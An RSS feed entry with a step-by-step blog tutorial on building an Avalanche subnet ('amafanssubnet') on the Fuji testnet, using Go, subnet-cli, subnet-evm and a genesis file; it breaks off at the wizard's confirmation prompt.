<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>AmaFansOfficial</title>
        <link>https://paragraph.com/@amafansofficial</link>
        <description>We are a "Ask me anything" platform protected by crypto.</description>
        <lastBuildDate>Thu, 07 May 2026 22:01:31 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>en</language>
        <image>
            <title>AmaFansOfficial</title>
            <url>https://storage.googleapis.com/papyrus_images/c76bc31e940e39db615ba744bac79af1fd93aa5b806d0fc1fe440b741a28a775.png</url>
            <link>https://paragraph.com/@amafansofficial</link>
        </image>
        <copyright>All rights reserved</copyright>
        <item>
            <title><![CDATA[Subnet on Fuji Testnet]]></title>
            <link>https://paragraph.com/@amafansofficial/subnet-on-fuji-testnet</link>
            <guid>yuH5YicZZBxVzlBhNamW</guid>
            <pubDate>Mon, 13 Jun 2022 21:36:59 GMT</pubDate>
            <description><![CDATA[In this tutorial we will create a subnet on FUji testnet "amafanssubnet". You should have a node connected and synced to Fuji testnet. You can run your validator on the same node or on another node also. For the sake of simplicity, I am going to run the validator node on the same fuji node. Please follow the step by step guide.Download GoLangcurl -OL https://golang.org/dl/go1.18.3.linux-amd64.tar.gz= sudo tar -C /usr/local -xvf go1.18.3.linux-amd64.tar.gz Add Go paths in your ~/.bashrcAdd the...]]></description>
            <content:encoded><![CDATA[<p>In this tutorial we will create a subnet on FUji testnet &quot;amafanssubnet&quot;. You should have a node connected and synced to Fuji testnet. You can run your validator on the same node or on another node also. For the sake of simplicity, I am going to run the validator node on the same fuji node. Please follow the step by step guide.</p><h2 id="h-download-golang" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Download GoLang</h2><pre data-type="codeBlock" text="curl -OL https://golang.org/dl/go1.18.3.linux-amd64.tar.gz=
sudo tar -C /usr/local -xvf go1.18.3.linux-amd64.tar.gz
"><code>curl <span class="hljs-operator">-</span>OL https:<span class="hljs-comment">//golang.org/dl/go1.18.3.linux-amd64.tar.gz=</span>
sudo tar <span class="hljs-operator">-</span>C <span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>local <span class="hljs-operator">-</span>xvf go1<span class="hljs-number">.18</span><span class="hljs-number">.3</span>.linux-amd64.tar.gz
</code></pre><h4 id="h-add-go-paths-in-your-bashrc" class="text-xl font-header !mt-6 !mb-3 first:!mt-0 first:!mb-0">Add Go paths in your ~/.bashrc</h4><p>Add these path variables in your ~/.bashrc file and reload it</p><pre data-type="codeBlock" text="export GOPATH=$HOME/go
export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin
"><code>export <span class="hljs-variable constant_">GOPATH</span>=<span class="hljs-variable">$HOME</span>/go
export <span class="hljs-variable constant_">PATH</span>=<span class="hljs-variable">$PATH</span><span class="hljs-symbol">:/usr/local/go/bin</span><span class="hljs-symbol">:</span><span class="hljs-variable">$GOPATH</span>/bin
</code></pre><p>Reload your bashrc for these changes to take effect on the same window.</p><pre data-type="codeBlock" text="source ~/.bashrc
"><code>source <span class="hljs-operator">~</span><span class="hljs-operator">/</span>.bashrc
</code></pre><p>Now, Check go version to see if everything is upto the mark.</p><pre data-type="codeBlock" text="go version
output: go version go1.18.3 linux/amd64
"><code><span class="hljs-keyword">go</span> version
output: <span class="hljs-keyword">go</span> version go1<span class="hljs-number">.18</span><span class="hljs-number">.3</span> linux/amd64
</code></pre><h2 id="h-install-subnet-cli" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Install subnet-cli</h2><pre data-type="codeBlock" text="git clone https://github.com/ava-labs/subnet-cli.git;
cd subnet-cli;
go install -v .;
"><code>git clone https:<span class="hljs-comment">//github.com/ava-labs/subnet-cli.git;</span>
cd subnet<span class="hljs-operator">-</span>cli;
go install <span class="hljs-operator">-</span>v .;
</code></pre><h2 id="h-create-your-validator-keys" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Create your validator keys</h2><p>Use this command to create your private key and fund it using fuji faucet.</p><p>I created a new directoty &quot;keys&quot; under my home directory and then ran this command to generate a private key.</p><pre data-type="codeBlock" text="cd keys
subnet-cli create key
"><code><span class="hljs-built_in">cd</span> keys
subnet-cli create key
</code></pre><p>A new file .subnet-cli.pk will be created with a private key. Copy the private key. By default, subnet-cli uses the key specified in file .subnet-cli.pk on the P-Chain to pay for the transaction fee, If you want to use some other key at some other location on this server, use --private-key-path later to overwrite. Please make sure that you have enough fund on this P-Chain address to pay for transactions.</p><h4 id="h-to-fund-this-private-key-on-fuji-testnet-p-chain" class="text-xl font-header !mt-6 !mb-3 first:!mt-0 first:!mb-0">To fund this private key on Fuji TestNet P-chain.</h4><h5 id="h-address-corresponding-to-this-private-key" class="text-lg font-header !mt-6 !mb-3 first:!mt-0 first:!mb-0">Address corresponding to this private key</h5><p>Use your private key in the .subnet-cli.pk file on the web wallet to access this <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://wallet.avax.network/">https://wallet.avax.network/</a>. (Private Key is the first option on the web wallet). And pick Fuji on the top right corner as the network and locate your C-Chain address which starts with 0x. Copy this address.</p><h5 id="h-request-funds-from-fujitestnet-faucet" class="text-lg font-header !mt-6 !mb-3 first:!mt-0 first:!mb-0">Request funds from fujitestnet faucet.</h5><p>Request funds from the faucet using your C-Chain address at <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://faucet.avax.network/">https://faucet.avax.network/</a>. Wait for the transaction to get confirmed.</p><h5 id="h-move-funds-from-c-chain-to-p-chain" class="text-lg font-header !mt-6 !mb-3 first:!mt-0 first:!mb-0">Move funds from C-chain to P-chain</h5><p>!C-chain to P-chain</p><p>After following these 3 steps, your test key should now have a balance on the P-Chain on the Fuji Testnet.</p><h2 id="h-create-vmid" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Create VMID</h2><p>First, you&apos;ll need to compile the subnet-evm into a binary that AvalancheGo can interact with.</p><pre data-type="codeBlock" text="git clone https://github.com/ava-labs/subnet-evm.git
cd subnet-evm/
subnet-cli create VMID amafanssubnetevm
"><code>git clone https:<span class="hljs-comment">//github.com/ava-labs/subnet-evm.git</span>
cd subnet<span class="hljs-operator">-</span>evm<span class="hljs-operator">/</span>
subnet<span class="hljs-operator">-</span>cli create VMID amafanssubnetevm
</code></pre><p>Create a VMID with string <code>amafanssubnetevm</code> which you can change to whatever you like. This command is used to generate a valid VMID based on some string to uniquely identify a VM. This should stay the same for all versions of the VM, so it should be based on a word rather than the hash of some code. Output will be:</p><pre data-type="codeBlock" text="created a new VMID juedWvBi73uAL3JgXYPJsD6d2YyVPAg4xv4RRqdCzaWpTsjVj from amafanssubnetevm
"><code>created a <span class="hljs-keyword">new</span> VMID juedWvBi73uAL3JgXYPJsD6d2YyVPAg4xv4RRqdCzaWpTsjVj <span class="hljs-keyword">from</span> amafanssubnetevm
</code></pre><p>Now issue this command to build</p><pre data-type="codeBlock" text="./scripts/build.sh build/juedWvBi73uAL3JgXYPJsD6d2YyVPAg4xv4RRqdCzaWpTsjVj
"><code>./scripts<span class="hljs-operator">/</span>build.sh build<span class="hljs-operator">/</span>juedWvBi73uAL3JgXYPJsD6d2YyVPAg4xv4RRqdCzaWpTsjVj
</code></pre><p>This command will create a binary in the build folder</p><pre data-type="codeBlock" text="ubuntu@ip-172-31-90-23:~/subnet-evm$ ls build/
juedWvBi73uAL3JgXYPJsD6d2YyVPAg4xv4RRqdCzaWpTsjVj
"><code>ubuntu<span class="hljs-variable">@ip</span>-<span class="hljs-number">172</span>-<span class="hljs-number">31</span>-<span class="hljs-number">90</span>-<span class="hljs-number">23</span><span class="hljs-symbol">:~/subnet-evm</span><span class="hljs-variable">$ </span>ls build/
juedWvBi73uAL3JgXYPJsD6d2YyVPAg4xv4RRqdCzaWpTsjVj
</code></pre><h2 id="h-move-binary" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Move Binary</h2><p>Choose option based on how you had built your &quot;avalanchego&quot;.</p><h5 id="h-build-from-source-manually" class="text-lg font-header !mt-6 !mb-3 first:!mt-0 first:!mb-0">Build from source manually</h5><p>Once the <code>subnet-evm</code> binary is built, you&apos;ll need to move it to AvalancheGo&apos;s plugin directory (within the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.avax.network/nodes/maintain/avalanchego-config-flags#--build-dir-string">--build-dir</a>) so it can be run by your node. When building avalanchego from source (see <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.avax.network/nodes/build/run-avalanche-node-manually">Run an Avalanche Node Manually </a>), this defaults to avalanchego/build/plugins in which avalanchego is the directory where you have checked out AvalancheGo project. This build directory is structured as:</p><p>build-dir |_avalanchego (note: this is the AvalancheGo binary, not a directory) |_plugins |_evm</p><p>To put the subnet-evm binary in the right place, run the following command (assuming the avalanchego and subnet-evm repos are in the same folder):</p><p>mv ./subnet-evm/build/juedWvBi73uAL3JgXYPJsD6d2YyVPAg4xv4RRqdCzaWpTsjVj ./avalanchego/build/plugins;</p><h4 id="h-using-the-install-script" class="text-xl font-header !mt-6 !mb-3 first:!mt-0 first:!mb-0">using the Install Script</h4><p>avalanche-node |_avalanchego (note: this is the AvalancheGo binary, not a directory) |_plugins |_evm</p><p>mv subnet-evm/build/juedWvBi73uAL3JgXYPJsD6d2YyVPAg4xv4RRqdCzaWpTsjVj avalanche-node/plugins/</p><h2 id="h-genesis-file" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Genesis file</h2><p>Create a Custom Subnet Configuration</p><pre data-type="codeBlock" text="avalanche subnet create amafanssubnet
"><code>avalanche subnet <span class="hljs-built_in">create</span> amafanssubnet
</code></pre><p>It will present you several options, Let us explore them one by one.</p><ol><li><p>Choose EVM, For our case, use SubnetEVM</p></li></ol><pre data-type="codeBlock" text="ubuntu@ip-172-31-90-23:~$ avalanche subnet create amafanssubnet
Use the arrow keys to navigate: ↓ ↑ → ←
? Choose your VM:
  ▸ SubnetEVM
    Custom
"><code>ubuntu<span class="hljs-keyword">@ip-172-31-90-23</span>:~$ avalanche subnet create amafanssubnet
Use the arrow keys to <span class="hljs-attribute">navigate</span>: ↓ ↑ → ←
? Choose your <span class="hljs-attribute">VM</span>:
  ▸ SubnetEVM
    Custom
</code></pre><ol><li><p>Choose chainID, Choose chainid which is not being used by any existing EVM chains Check here: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://chainlist.org/">https://chainlist.org/</a></p></li></ol><pre data-type="codeBlock" text="Enter your subnet&apos;s ChainId. It can be any positive integer.
✗ ChainId: █
"><code>Enter your subnet<span class="hljs-comment">'s ChainId. It can be any positive integer.</span>
✗ ChainId: █
</code></pre><ol><li><p>Choose Fee</p></li></ol><pre data-type="codeBlock" text="? How would you like to set fees:
    Low disk use    / Low Throughput    1.5 mil gas/s (C-Chain&apos;s setting)
  ▸ Medium disk use / Medium Throughput 2 mil   gas/s
    High disk use   / High Throughput   5 mil   gas/s
    Customize fee config
"><code>? How would you like to set fees:
    Low disk <span class="hljs-keyword">use</span>    / Low Throughput    <span class="hljs-number">1.5</span> mil gas/<span class="hljs-title function_ invoke__">s</span> (C-Chain<span class="hljs-symbol">'s</span> setting)
  ▸ Medium disk <span class="hljs-keyword">use</span> / Medium Throughput <span class="hljs-number">2</span> mil   gas/s
    High disk <span class="hljs-keyword">use</span>   / High Throughput   <span class="hljs-number">5</span> mil   gas/s
    Customize fee config
</code></pre><ol><li><p>Airdrop Tokens in the beginning of the chain</p></li></ol><pre data-type="codeBlock" text="? How would you like to distribute funds:
    Airdrop 1 million tokens to the default address (do not use in production)
  ▸ Customize your airdrop
"><code>? How would you <span class="hljs-built_in">like</span> <span class="hljs-keyword">to</span> distribute funds:
    Airdrop <span class="hljs-number">1</span> million tokens <span class="hljs-keyword">to</span> the <span class="hljs-keyword">default</span> address (<span class="hljs-keyword">do</span> <span class="hljs-built_in">not</span> use <span class="hljs-keyword">in</span> production)
  ▸ Customize your airdrop
</code></pre><p>Enter your address and the tokens amount. If you want to add more airdrop, Keep clicking on Yes</p><pre data-type="codeBlock" text="? Would you like to airdrop more tokens?:
  ▸ No
    Yes
"><code>? Would you <span class="hljs-built_in">like</span> <span class="hljs-keyword">to</span> airdrop more tokens?:
  ▸ No
    Yes
</code></pre><ol><li><p>Adding a custom precompile We will revisit this option in later tutorials, Let’s continue with &quot;No&quot; option.</p></li></ol><pre data-type="codeBlock" text="? Advanced: Would you like to add a custom precompile to modify the EVM?:
  ▸ No
    Yes
"><code>? Advanced: Would you <span class="hljs-built_in">like</span> <span class="hljs-keyword">to</span> add a <span class="hljs-keyword">custom</span> precompile <span class="hljs-keyword">to</span> modify the EVM?:
  ▸ No
    Yes
</code></pre><p>Click on No and your subnet will be created.</p><h5 id="h-check-your-subnet" class="text-lg font-header !mt-6 !mb-3 first:!mt-0 first:!mb-0">Check your subnet</h5><pre data-type="codeBlock" text="ubuntu@ip-172-31-90-23:~$ avalanche subnet list

+---------------+---------------+-----------+
|    SUBNET     |     CHAIN     |   TYPE    |
+---------------+---------------+-----------+
| amafanssubnet | amafanssubnet | SubnetEVM |
+---------------+---------------+-----------+
"><code>ubuntu@ip<span class="hljs-number">-172</span><span class="hljs-number">-31</span><span class="hljs-number">-90</span><span class="hljs-number">-23</span>:<span class="hljs-operator">~</span>$ avalanche subnet list

<span class="hljs-operator">+</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">+</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">+</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">+</span>
<span class="hljs-operator">|</span>    SUBNET     <span class="hljs-operator">|</span>     CHAIN     <span class="hljs-operator">|</span>   TYPE    <span class="hljs-operator">|</span>
<span class="hljs-operator">+</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">+</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">+</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">+</span>
<span class="hljs-operator">|</span> amafanssubnet <span class="hljs-operator">|</span> amafanssubnet <span class="hljs-operator">|</span> SubnetEVM <span class="hljs-operator">|</span>
<span class="hljs-operator">+</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">+</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">+</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">+</span>
</code></pre><h5 id="h-setting-a-custom-fee-recipient" class="text-lg font-header !mt-6 !mb-3 first:!mt-0 first:!mb-0">Setting a Custom Fee Recipient</h5><p>By default, all fees are burned (sent to the blackhole address with &quot;allowFeeRecipients&quot;: false). However, it is possible to enable block producers to set a fee recipient (who will get compensated for blocks they produce). To enable this feature, you&apos;ll need to add the following to your genesis file (under the &quot;config&quot; key):</p><pre data-type="codeBlock" text="{
  &quot;config&quot;: {
    &quot;allowFeeRecipients&quot;: true
  }
}
"><code><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">"config"</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">"allowFeeRecipients"</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">true</span></span>
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span>
</code></pre><p>Fee Recipient With allowFeeRecipients enabled, your validators can specify their addresses to collect fees. They need to update their EVM chain config with the following to specify where the fee should be sent to.</p><pre data-type="codeBlock" text="{
  &quot;feeRecipient&quot;: &quot;&lt;YOUR 0x-ADDRESS&gt;&quot;
}
"><code><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">"feeRecipient"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"&#x3C;YOUR 0x-ADDRESS>"</span>
<span class="hljs-punctuation">}</span>
</code></pre><h5 id="h-get-your-genesis-file-for-the-subnet" class="text-lg font-header !mt-6 !mb-3 first:!mt-0 first:!mb-0">Get your genesis file for the subnet</h5><pre data-type="codeBlock" text="avalanche subnet describe firstsubnet --genesis
{
    &quot;config&quot;: {
        &quot;chainId&quot;: 13665,
        &quot;homesteadBlock&quot;: 0,
        &quot;eip150Block&quot;: 0,
        &quot;eip150Hash&quot;: &quot;0x2086799aeebeae135c246c65021c82b4e15a2c451340993aacfd2751886514f0&quot;,
        &quot;eip155Block&quot;: 0,
        &quot;eip158Block&quot;: 0,
        &quot;byzantiumBlock&quot;: 0,
        &quot;constantinopleBlock&quot;: 0,
        &quot;petersburgBlock&quot;: 0,
        &quot;istanbulBlock&quot;: 0,
        &quot;muirGlacierBlock&quot;: 0,
        &quot;subnetEVMTimestamp&quot;: 0,
        &quot;feeConfig&quot;: {
            &quot;gasLimit&quot;: 8000000,
            &quot;targetBlockRate&quot;: 2,
            &quot;minBaseFee&quot;: 25000000000,
            &quot;targetGas&quot;: 20000000,
            &quot;baseFeeChangeDenominator&quot;: 36,
            &quot;minBlockGasCost&quot;: 0,
            &quot;maxBlockGasCost&quot;: 1000000,
            &quot;blockGasCostStep&quot;: 200000
        },
        &quot;contractDeployerAllowListConfig&quot;: {
            &quot;blockTimestamp&quot;: null,
            &quot;adminAddresses&quot;: null
        },
        &quot;contractNativeMinterConfig&quot;: {
            &quot;blockTimestamp&quot;: null,
            &quot;adminAddresses&quot;: null
        },
        &quot;txAllowListConfig&quot;: {
            &quot;blockTimestamp&quot;: null,
            &quot;adminAddresses&quot;: null
        }
    },
    &quot;nonce&quot;: &quot;0x0&quot;,
    &quot;timestamp&quot;: &quot;0x0&quot;,
    &quot;extraData&quot;: &quot;0x&quot;,
    &quot;gasLimit&quot;: &quot;0x7a1200&quot;,
    &quot;difficulty&quot;: &quot;0x0&quot;,
    &quot;mixHash&quot;: &quot;0x0000000000000000000000000000000000000000000000000000000000000000&quot;,
    &quot;coinbase&quot;: &quot;0x0000000000000000000000000000000000000000&quot;,
    &quot;alloc&quot;: {
        &quot;3213ef068d8def86a068d0cbbcbb3c00664894ad&quot;: {
            &quot;balance&quot;: &quot;0x8ac7230489e80000&quot;
        },
        &quot;9c4c630fab38192bbcc53464a156a59337d75a24&quot;: {
            &quot;balance&quot;: &quot;0x5af3107a4000&quot;
        }
    },
    &quot;airdropHash&quot;: &quot;0x0000000000000000000000000000000000000000000000000000000000000000&quot;,
    &quot;airdropAmount&quot;: null,
    &quot;number&quot;: &quot;0x0&quot;,
    &quot;gasUsed&quot;: &quot;0x0&quot;,
    &quot;parentHash&quot;: &quot;0x0000000000000000000000000000000000000000000000000000000000000000&quot;,
    &quot;baseFeePerGas&quot;: null
}
"><code>avalanche subnet <span class="hljs-keyword">describe</span> firstsubnet <span class="hljs-comment">--genesis</span>
{
    "config": {
        "chainId": <span class="hljs-number">13665</span>,
        "homesteadBlock": <span class="hljs-number">0</span>,
        "eip150Block": <span class="hljs-number">0</span>,
        "eip150Hash": "0x2086799aeebeae135c246c65021c82b4e15a2c451340993aacfd2751886514f0",
        "eip155Block": <span class="hljs-number">0</span>,
        "eip158Block": <span class="hljs-number">0</span>,
        "byzantiumBlock": <span class="hljs-number">0</span>,
        "constantinopleBlock": <span class="hljs-number">0</span>,
        "petersburgBlock": <span class="hljs-number">0</span>,
        "istanbulBlock": <span class="hljs-number">0</span>,
        "muirGlacierBlock": <span class="hljs-number">0</span>,
        "subnetEVMTimestamp": <span class="hljs-number">0</span>,
        "feeConfig": {
            "gasLimit": <span class="hljs-number">8000000</span>,
            "targetBlockRate": <span class="hljs-number">2</span>,
            "minBaseFee": <span class="hljs-number">25000000000</span>,
            "targetGas": <span class="hljs-number">20000000</span>,
            "baseFeeChangeDenominator": <span class="hljs-number">36</span>,
            "minBlockGasCost": <span class="hljs-number">0</span>,
            "maxBlockGasCost": <span class="hljs-number">1000000</span>,
            "blockGasCostStep": <span class="hljs-number">200000</span>
        },
        "contractDeployerAllowListConfig": {
            "blockTimestamp": <span class="hljs-keyword">null</span>,
            "adminAddresses": <span class="hljs-keyword">null</span>
        },
        "contractNativeMinterConfig": {
            "blockTimestamp": <span class="hljs-keyword">null</span>,
            "adminAddresses": <span class="hljs-keyword">null</span>
        },
        "txAllowListConfig": {
            "blockTimestamp": <span class="hljs-keyword">null</span>,
            "adminAddresses": <span class="hljs-keyword">null</span>
        }
    },
    "nonce": "0x0",
    "timestamp": "0x0",
    "extraData": "0x",
    "gasLimit": "0x7a1200",
    "difficulty": "0x0",
    "mixHash": "0x0000000000000000000000000000000000000000000000000000000000000000",
    "coinbase": "0x0000000000000000000000000000000000000000",
    "alloc": {
        "3213ef068d8def86a068d0cbbcbb3c00664894ad": {
            "balance": "0x8ac7230489e80000"
        },
        "9c4c630fab38192bbcc53464a156a59337d75a24": {
            "balance": "0x5af3107a4000"
        }
    },
    "airdropHash": "0x0000000000000000000000000000000000000000000000000000000000000000",
    "airdropAmount": <span class="hljs-keyword">null</span>,
    "number": "0x0",
    "gasUsed": "0x0",
    "parentHash": "0x0000000000000000000000000000000000000000000000000000000000000000",
    "baseFeePerGas": <span class="hljs-keyword">null</span>
}
</code></pre><p>save this file in your home directory with amafanssubnet_genesis.json</p><h2 id="h-run-your-subnet-evm" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Run your subnet EVM</h2><p>Step 1: You must have a fuji node up and running, Refer to this article to deploy a fuji node on AWS. Get your nodeID by this command</p><pre data-type="codeBlock" text="ubuntu@ip-172-31-90-23:~$ curl -X POST --data &apos;{
    &quot;jsonrpc&quot;:&quot;2.0&quot;,
    &quot;id&quot;     :1,
    &quot;method&quot; :&quot;info.getNodeID&quot;
}&apos; -H &apos;content-type:application/json;&apos; 127.0.0.1:9650/ext/info

ubuntu@ip-172-31-90-23:~$ {&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;result&quot;:{&quot;nodeID&quot;:&quot;NodeID-167TkRiC6RVLboo5U7TpiB6Sk4UfxN8w2&quot;},&quot;id&quot;:1}
"><code>ubuntu@ip<span class="hljs-number">-172</span><span class="hljs-number">-31</span><span class="hljs-number">-90</span><span class="hljs-number">-23</span>:<span class="hljs-operator">~</span>$ curl <span class="hljs-operator">-</span>X POST <span class="hljs-operator">-</span><span class="hljs-operator">-</span>data <span class="hljs-string">'{
    "jsonrpc":"2.0",
    "id"     :1,
    "method" :"info.getNodeID"
}'</span> <span class="hljs-operator">-</span>H <span class="hljs-string">'content-type:application/json;'</span> <span class="hljs-number">127.0</span><span class="hljs-number">.0</span><span class="hljs-number">.1</span>:<span class="hljs-number">9650</span><span class="hljs-operator">/</span>ext<span class="hljs-operator">/</span>info

ubuntu@ip<span class="hljs-number">-172</span><span class="hljs-number">-31</span><span class="hljs-number">-90</span><span class="hljs-number">-23</span>:<span class="hljs-operator">~</span>$ {<span class="hljs-string">"jsonrpc"</span>:<span class="hljs-string">"2.0"</span>,<span class="hljs-string">"result"</span>:{<span class="hljs-string">"nodeID"</span>:<span class="hljs-string">"NodeID-167TkRiC6RVLboo5U7TpiB6Sk4UfxN8w2"</span>},<span class="hljs-string">"id"</span>:<span class="hljs-number">1</span>}
</code></pre><p>Make note of this node-id</p><p>Step 2:</p><pre data-type="codeBlock" text="subnet-cli wizard \
--node-ids=NodeID-167TkRiC6RVLboo5U7TpiB6Sk4UfxN8w2 \
--vm-genesis-path=amafanssubnet_genesis.json \
--vm-id=juedWvBi73uAL3JgXYPJsD6d2YyVPAg4xv4RRqdCzaWpTsjVj \
--chain-name=amafanssubnet \
--private-key-path keys/subnet-cli.pk
"><code>subnet<span class="hljs-operator">-</span>cli wizard \
<span class="hljs-operator">-</span><span class="hljs-operator">-</span>node<span class="hljs-operator">-</span>ids<span class="hljs-operator">=</span>NodeID<span class="hljs-operator">-</span>167TkRiC6RVLboo5U7TpiB6Sk4UfxN8w2 \
<span class="hljs-operator">-</span><span class="hljs-operator">-</span>vm<span class="hljs-operator">-</span>genesis<span class="hljs-operator">-</span>path<span class="hljs-operator">=</span>amafanssubnet_genesis.json \
<span class="hljs-operator">-</span><span class="hljs-operator">-</span>vm<span class="hljs-operator">-</span>id<span class="hljs-operator">=</span>juedWvBi73uAL3JgXYPJsD6d2YyVPAg4xv4RRqdCzaWpTsjVj \
<span class="hljs-operator">-</span><span class="hljs-operator">-</span>chain<span class="hljs-operator">-</span>name<span class="hljs-operator">=</span>amafanssubnet \
<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-keyword">private</span><span class="hljs-operator">-</span>key<span class="hljs-operator">-</span>path keys<span class="hljs-operator">/</span>subnet<span class="hljs-operator">-</span>cli.pk
</code></pre><p>If you see this error</p><pre data-type="codeBlock" text="subnet-cli failed insufficient funds: on [P-fuji1j38ncp5r6dpfjlt64et8cnqvcnp4yum4yfxyz6] (expected=1201000000, have=0)
"><code>subnet<span class="hljs-operator">-</span>cli failed insufficient funds: on [P<span class="hljs-operator">-</span>fuji1j38ncp5r6dpfjlt64et8cnqvcnp4yum4yfxyz6] (expected<span class="hljs-operator">=</span><span class="hljs-number">1201000000</span>, have<span class="hljs-operator">=</span><span class="hljs-number">0</span>)
</code></pre><p>Your address that corresponds to the private key in .subnet-cli.pk doesn’t have sufficient funds. Please refer to the section &quot;Create Keys&quot; above to fund your address.</p><p>If everything goes fine, You will see this output</p><pre data-type="codeBlock" text="subnet-cli wizard --node-ids=NodeID-167TkRiC6RVLboo5U7TpiB6Sk4UfxN8w2\
         --vm-genesis-path=amafanssubnet_genesis.json \
         --vm-id=juedWvBi73uAL3JgXYPJsD6d2YyVPAg4xv4RRqdCzaWpTsjVj \
          --chain-name=amafanssubnet \
          --private-key-path keys/subnet-cli.pk

2022-06-13T18:20:33.498Z        info    client/client.go:81     fetching X-Chain id
2022-06-13T18:20:33.543Z        info    client/client.go:87     fetched X-Chain id      {&quot;id&quot;: &quot;2JVSBoinj9C2J33VntvzYtVJNZdN2NKiwwKjcumHUWEb5DbBrm&quot;}
2022-06-13T18:20:33.543Z        info    client/client.go:96     fetching AVAX asset id  {&quot;uri&quot;: &quot;https://api.avax-test.network&quot;}
2022-06-13T18:20:33.564Z        info    client/client.go:105    fetched AVAX asset id   {&quot;id&quot;: &quot;U8iRqJoiJm8xZHAacmvYyZVwqQx6uDNtQeP3CQ6fcgQk3JqnK&quot;}
2022-06-13T18:20:33.564Z        info    client/client.go:107    fetching network information
2022-06-13T18:20:33.590Z        info    client/client.go:116    fetched network information     {&quot;networkId&quot;: 5, &quot;networkName&quot;: &quot;fuji&quot;}

Ready to run wizard, should we continue?
*--------------------------------*---------------------------------------------------*
